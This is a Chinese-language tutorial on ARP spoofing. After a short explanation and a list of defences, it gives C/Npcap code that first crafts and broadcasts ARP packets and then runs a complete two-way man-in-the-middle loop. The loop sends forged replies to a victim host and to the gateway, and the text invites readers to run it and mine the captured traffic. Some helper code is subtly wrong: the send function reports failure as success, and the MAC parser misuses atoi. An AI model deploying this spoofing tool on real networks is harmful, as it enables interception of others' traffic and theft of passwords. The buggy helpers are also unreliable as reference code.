ARP欺骗(ARP Spoofing)是一种网络攻击手段,其目的是通过欺骗目标主机来实现网络攻击。ARP协议是一种用于获取MAC地址的协议,因此欺骗者可以使用ARP欺骗来迫使其目标主机将网络流量发送到攻击者控制的设备上,从而实现网络攻击。
ARP欺骗攻击通常包括以下步骤:
- 攻击者在本地网络上广播ARP请求,请求目标主机的MAC地址。
- 目标主机发送应答报文,包括其MAC地址。
- 攻击者对目标主机和其它主机发送伪造的ARP应答报文,指定攻击者的MAC地址为目标主机的MAC地址。
- 接收到欺骗者发来的ARP应答的主机会把欺骗者的MAC地址缓存,在下次发送数据包时,会把网络数据发送给欺骗者控制的设备,从而攻击者就可以截获、修改或者干扰数据传输。
ARP欺骗攻击通常可以用于实现中间人攻击、会话劫持、密码盗窃等网络攻击,因此网络管理人员和用户都应当了解如何防范和检测ARP欺骗攻击。常见的防范手段包括静态ARP表、ARP监控工具、虚拟专用网络(VPN)等。
构建并发送ARP数据包
通过使用Npcap
实现发送一个ARP
广播数据包,这里需要先在本地构建数据包的结构,然后再将其格式化为字符串数据包,并发送出去,ARP数据包总长度为42
字节,其中需要包含14
字节EthernetHeader
以太网包头,在其下是长度为28
字节的ArpHeader
数据包头,在数据包发送时需要将两者组合起来,代码中通过ArpPacket
包将两个包头串联在一起,如下是需要发送ARP
数据包的具体构造结构。
#include <winsock2.h> #include <Windows.h> #include <pcap.h>
#pragma comment(lib, "packet.lib") #pragma comment(lib, "wpcap.lib") #pragma comment(lib,"WS2_32.lib")
#define ETH_ARP 0x0806
#define ARP_HARDWARE 1
#define ETH_IP 0x0800
#define ARP_REQUEST 1 #define ARP_RESPONSE 2
struct EthernetHeader { u_char DestMAC[6]; u_char SourMAC[6]; u_short EthType; };
struct ArpHeader { unsigned short hdType; unsigned short proType; unsigned char hdSize; unsigned char proSize; unsigned short op; u_char smac[6]; u_char sip[4]; u_char dmac[6]; u_char dip[4]; };
struct ArpPacket { EthernetHeader eh; ArpHeader ah; };
|
实现数据包发送的第二步是绑定网卡,针对绑定网卡此处封装实现了SelectNetworkHandle
函数,该函数通过传入一个网卡序号下标,当收到网卡下标后寻找该小标所对应的网卡句柄,找到后返回一个pcap_t
结构的网卡句柄,如下所示;
pcap_t * SelectNetworkHandle(int nChoose) { pcap_t *pcap_handle; pcap_if_t *alldevs;
char errbuf[PCAP_ERRBUF_SIZE];
if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1) { exit(0); }
for (int x = 0; x < nChoose - 1; ++x) { alldevs = alldevs->next; }
if ((pcap_handle = pcap_open(alldevs->name, 65536, PCAP_OPENFLAG_PROMISCUOUS, 1000, NULL, errbuf )) == NULL) { pcap_freealldevs(alldevs); exit(0); } return pcap_handle; }
|
接着就是要构造并发送ARP
数据包了,对于发包而言我们需要依赖于pcap_sendpacket
函数,该函数是libpcap
库的一部分,专门用于发送各类数据包结构,该函数原型如下:
int pcap_sendpacket(pcap_t *p, const u_char *buf, int size);
|
函数用于以原始形式发送数据包,其中参数含义如下:
- p:指向设备的
pcap_t
指针。
- buf:指向待发送数据包的缓冲区。
- size:待发送数据包的大小,以字节为单位。
该函数返回值为发送数据包的状态,如果函数返回 -1,则表示出现错误,否则返回发送的字节数。
有了这个函数那么我们只需要构建属于自己的数据包即可,如下则是主函数的实现流程,在这代码中我们可以看到用于组合ARP
数据包的结构体 ArpPacket
包括了以太网包头 EthernetHeader
和ARP
包头 ArpHeader
。其中,以太网包头中包括了源MAC
地址、目的MAC
地址和以太网类型,而ARP
包头中则包括了硬件类型、协议类型、硬件地址长度、协议地址长度、操作类型(ARP
请求或ARP
响应)以及源MAC
地址、源IP
地址、目的MAC
地址和目的IP
地址等信息。
在数据包的构造完成后,程序进入了一个循环,每隔1秒钟发送一次数据包,总共发送100次。发送的数据包以 sendbuf
变量的形式进行传输,大小为42
字节(即ARP
包的结构体大小)。在每次成功发送数据包后,程序会在控制台输出一条带有发送次数的消息。
int main(int argc, char *argv[]) { pcap_t *handle;
EthernetHeader eh;
ArpHeader ah;
ArpPacket arp;
unsigned char sendbuf[42];
unsigned char src_mac[6] = { 0xaa, 0xaa, 0xaa, 0xaa, 0xff, 0xff }; unsigned char src_ip[4] = { 0x01, 0x02, 0x03, 0x04 };
handle = SelectNetworkHandle(8);
memset(arp.eh.DestMAC, 0xff, 6); memcpy(arp.eh.SourMAC, src_mac, 6); memcpy(arp.ah.smac, src_mac, 6); memset(arp.ah.dmac, 0xff, 6); memcpy(arp.ah.sip, src_ip, 4); memset(arp.ah.dip, 0x05, 4);
arp.eh.EthType = htons(ETH_ARP); arp.ah.hdType = htons(ARP_HARDWARE); arp.ah.proType = htons(ETH_IP); arp.ah.hdSize = 6; arp.ah.proSize = 4; arp.ah.op = htons(ARP_REQUEST);
memset(sendbuf, 0, sizeof(sendbuf)); memcpy(sendbuf, &arp, sizeof(arp));
for (size_t i = 0; i < 100; i++) { if (pcap_sendpacket(handle, sendbuf, 42) == 0) { printf("[Send] 发送 %d 次 \n", i); } Sleep(1000); }
system("pause"); return 0; }
|
读者可自行运行上述代码片段,当运行后则会发送100
次ARK
数据包,通过使用wireshark
即可抓取到这个由我们自己构造的数据包,输出效果图如下图所示;
实现ARP中间人欺骗
ARP欺骗通常是双向欺骗。攻击者首先会向受害者发送一个虚假的ARP
响应报文,欺骗其将攻击者的MAC
地址与网关的IP
地址相对应。这使得受害者将其所有的网络流量发送到了攻击者的设备上,浏览网页、输入密码等所有的网络行为都会被攻击者截获,从而达到窃取网络数据的目的。
同时,攻击者还需要给网关发送一个虚假的ARP响应报文,欺骗其将攻击者的MAC地址与受害者IP地址相对应,这样攻击者就可以中继网关和受害者之间的流量,并监视其所有的网络流量。这种攻击方式被称为双向欺骗,因为攻击者不仅欺骗了受害者,还欺骗了网关,形成了一种双向的欺骗关系。
为了实现欺骗此处我们同样先来定义一些结构体变量,这些结构体变量的解释,读者也可以自行打开抓包软件并捕捉一个数据包进行分析,公开资料在网络平台也可很容易得到。
#define ARP_HARDWARE 0x0001 #define ARP_REQUEST 0x0001 #define ARP_REPLY 0x0002
#pragma pack(push, 1)
#define EPT_IP 0x0800 #define EPT_ARP 0x0806 #define EPT_RARP 0x8035
typedef struct { UCHAR eh_dst[6]; UCHAR eh_src[6]; USHORT eh_type; }EH_HEADR, *P_EH_HEADR;
typedef struct { USHORT arp_hrd; USHORT arp_pro; UCHAR arp_hln; UCHAR arp_pln; USHORT arp_op; UCHAR arp_sha[6]; ULONG arp_spa; UCHAR arp_tha[6]; ULONG arp_tpa; }ARP_HEADR, *P_ARP_HEADR;
typedef struct { EH_HEADR ehhdr; ARP_HEADR arphdr; } ARP_PACKET, *P_ARP_PACKET;
|
封装一个ChangeMacAddr
函数,该函数用于把输入的12字节的MAC字符串,转变为6字节的16进制MAC地址UCHAR
类型,以便在网络编程中使用。
输入MAC
地址字符串XX-XX-XX-XX-XX-XX
形式,其中XX
表示两个16
进制数的组合,表示一个字节,而-
作为分隔符。程序通过循环遍历每个XX,分别解析出高低两位,然后将其转换为UCHAR
类型的字节值赋给新的数组a。该函数的返回值为void,不返回任何数据。
void ChangeMacAddr(char *p, UCHAR a[]) { char* p1 = NULL; int i = 0; int high, low; char temp[1]; for (i = 0; i < 6; i++) { p1 = p + 1;
switch (*p1) { case 'A': low = 10; break; case 'B': low = 11; break; case 'C': low = 12; break; case 'D': low = 13; break; case 'E': low = 14; break; case 'F': low = 15; break; default: temp[0] = *p1;
low = atoi(temp); }
switch (*p) { case 'A': high = 10; break; case 'B': high = 11; break; case 'C': high = 12; break; case 'D': high = 13; break; case 'E': high = 14; break; case 'F': high = 15; break; default: temp[0] = *p;
high = atoi(temp); }
p += 2;
a[i] = high * 16 + low; } }
|
封装两个函数,其中makeArpPacket
用于传入源地址与目标地址构建出一个特有的ARP
数据包,并返回数据给ARPPacket
指针,sendArpPacket
用于发送ARP
数据包,该函数接收一个ARPPacket
数据包即可。
BOOL makeArpPacket(ARP_PACKET &ARPPacket, char * srcMac, char * srcIP, char * dstMac, char * dstIP) { UCHAR MacAddr[6] = { 0 };
ChangeMacAddr(dstMac, ARPPacket.ehhdr.eh_dst); ChangeMacAddr(srcMac, ARPPacket.ehhdr.eh_src); ARPPacket.ehhdr.eh_type = htons(EPT_ARP);
ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE); ARPPacket.arphdr.arp_pro = htons(EPT_IP); ARPPacket.arphdr.arp_hln = 6; ARPPacket.arphdr.arp_pln = 4; ARPPacket.arphdr.arp_op = htons(ARP_REPLY); ChangeMacAddr(srcMac, ARPPacket.arphdr.arp_sha); ARPPacket.arphdr.arp_spa = inet_addr(srcIP); ChangeMacAddr(dstMac, ARPPacket.arphdr.arp_tha); ARPPacket.arphdr.arp_tpa = inet_addr(dstIP);
return TRUE; }
BOOL sendArpPacket(pcap_t * fp, ARP_PACKET &ARPPacket) { if (pcap_sendpacket(fp, (const u_char *)&ARPPacket, sizeof(ARPPacket)) != 0) { return TRUE; } return FALSE; }
|
最后一步则是发送数据包以实现欺骗的效果,首先通过SelectNetworkHandle
选中需要欺骗的网卡,接着我们通过makeArpPacket
函数分别构建两个数据包,其中一个用于构建欺骗受害者,另一个用于构建欺骗网关,最后通过循环的方式sendArpPacket
发送两个数据包分别到路由器与客户端之间,则可实现对特定主机的欺骗效果。
int main(int argc, char *argv[]) { pcap_t *handle; EH_HEADR eh; ARP_HEADR ah; handle = SelectNetworkHandle(8);
ARP_PACKET ARPPacket_dst = { 0 }; ARP_PACKET ARPPacket_gate = { 0 };
makeArpPacket(ARPPacket_dst, "000000000000", "192.168.1.1", "c89cdcad3a39", "192.168.1.10");
makeArpPacket(ARPPacket_gate, "c89cdcad3a39", "192.168.1.10", "000000000000", "192.168.1.1");
while (true) { sendArpPacket(handle, ARPPacket_dst); sendArpPacket(handle, ARPPacket_gate); printf("[发送欺骗数据包] \n"); Sleep(3000); }
pcap_close(handle);
system("pause"); return 0; }
|
读者可自行运行上述这段代码,并打开抓包工具查看效果,此时针对于客户端以及路由器都进行了双向数据包欺骗,当客户端被成功欺骗后,则我们的主机中将会出现被害主机的完整数据包,此时就可以对数据包进行各类分析,以获取有用的线索。